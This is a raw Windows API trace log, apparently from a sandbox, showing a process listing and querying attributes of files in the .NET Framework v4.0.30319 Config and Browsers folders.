	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_hightrust.config.default", cAlternateFileName="WEB_HI~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_lowtrust.config", cAlternateFileName="WEB_LO~1.CON")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_lowtrust.config.default", cAlternateFileName="WEB_LO~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_mediumtrust.config", cAlternateFileName="WEB_ME~1.CON")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_mediumtrust.config.default", cAlternateFileName="WEB_ME~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_minimaltrust.config", cAlternateFileName="WEB_MI~1.CON")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_minimaltrust.config.default", cAlternateFileName="WEB_MI~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.733] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.734] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers"), fInfoLevelId=0x0, lpFileInformation=0x1273f188 | out: lpFileInformation=0x1273f188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.735] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.735] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.736] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.736] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c83a800, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x4c83a800, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x955, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackberry.browser", cAlternateFileName="BLACKB~1.BRO")) returned 1
	[0087.736] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcacf3140, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x83b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.browser", cAlternateFileName="CHROME~1.BRO")) returned 1
	[0087.736] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec01420, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.browser", cAlternateFileName="DEFAUL~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf540d80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x920, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.browser", cAlternateFileName="FIREFO~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5b31a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="gateway.browser", cAlternateFileName="GATEWA~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5d9300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.browser", cAlternateFileName="GENERI~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee29a00, ftCreationTime.dwHighDateTime=0x1d09e73, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xeee29a00, ftLastWriteTime.dwHighDateTime=0x1d09e73, nFileSizeHigh=0x0, nFileSizeLow=0x142b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie.browser", cAlternateFileName="IEDF02~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf64b720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xfcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="iemobile.browser", cAlternateFileName="IEMOBI~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf72ff60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="iphone.browser", cAlternateFileName="IPHONE~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd0d34ae0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x1480, dwReserved0=0x0, dwReserved1=0x0, cFileName="opera.browser", cAlternateFileName="OPERA~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd11f76e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xde8, dwReserved0=0x0, dwReserved1=0x0, cFileName="safari.browser", cAlternateFileName="SAFARI~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd5add8a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucbrowser.browser", cAlternateFileName="UCBROW~1.BRO")) returned 1
	[0087.737] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.737] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\Default.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\default.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f598 | out: lpFileInformation=0x1273f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec01420, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2d30)) returned 1
	[0087.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\blackberry.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\blackberry.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f5e8 | out: lpFileInformation=0x1273f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c83a800, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x4c83a800, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x955)) returned 1
	[0087.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\chrome.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\chrome.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f638 | out: lpFileInformation=0x1273f638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcacf3140, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x83b)) returned 1
	[0087.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\firefox.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\firefox.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f688 | out: lpFileInformation=0x1273f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf540d80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1
	[0087.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\gateway.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\gateway.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f6d8 | out: lpFileInformation=0x1273f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5b31a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15fe)) returned 1
	[0087.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\generic.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\generic.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f728 | out: lpFileInformation=0x1273f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5d9300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15c1)) returned 1
	[0087.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ie.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\ie.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f778 | out: lpFileInformation=0x1273f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee29a00, ftCreationTime.dwHighDateTime=0x1d09e73, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xeee29a00, ftLastWriteTime.dwHighDateTime=0x1d09e73, nFileSizeHigh=0x0, nFileSizeLow=0x142b)) returned 1
	[0087.741] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iemobile.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\iemobile.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f7c8 | out: lpFileInformation=0x1273f7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf64b720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xfcd)) returned 1
	[0087.741] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iphone.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\iphone.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f818 | out: lpFileInformation=0x1273f818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf72ff60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6df)) returned 1
	[0087.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\opera.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\opera.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f868 | out: lpFileInformation=0x1273f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd0d34ae0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x1480)) returned 1
	[0087.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\safari.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\safari.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f908 | out: lpFileInformation=0x1273f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd11f76e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xde8)) returned 1
	[0087.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ucbrowser.browser" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\ucbrowser.browser"), fInfoLevelId=0x0, lpFileInformation=0x1273f958 | out: lpFileInformation=0x1273f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd5add8a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6bd)) returned 1
	[0087.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\defaultwsdlhelpgenerator.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273f9a8 | out: lpFileInformation=0x1273f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef1100, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7ef1100, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1131a)) returned 1
	[0087.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx40_iis_schema_update.xml"), fInfoLevelId=0x0, lpFileInformation=0x1273f9f8 | out: lpFileInformation=0x1273f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd75)) returned 1
	[0087.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx45_iis_schema_update.xml"), fInfoLevelId=0x0, lpFileInformation=0x1273fa48 | out: lpFileInformation=0x1273fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd01c0100, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x813)) returned 1
	[0087.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_hightrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fa98 | out: lpFileInformation=0x1273fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106)) returned 1
	[0087.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_hightrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fae8 | out: lpFileInformation=0x1273fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106)) returned 1
	[0087.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_lowtrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fb38 | out: lpFileInformation=0x1273fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0)) returned 1
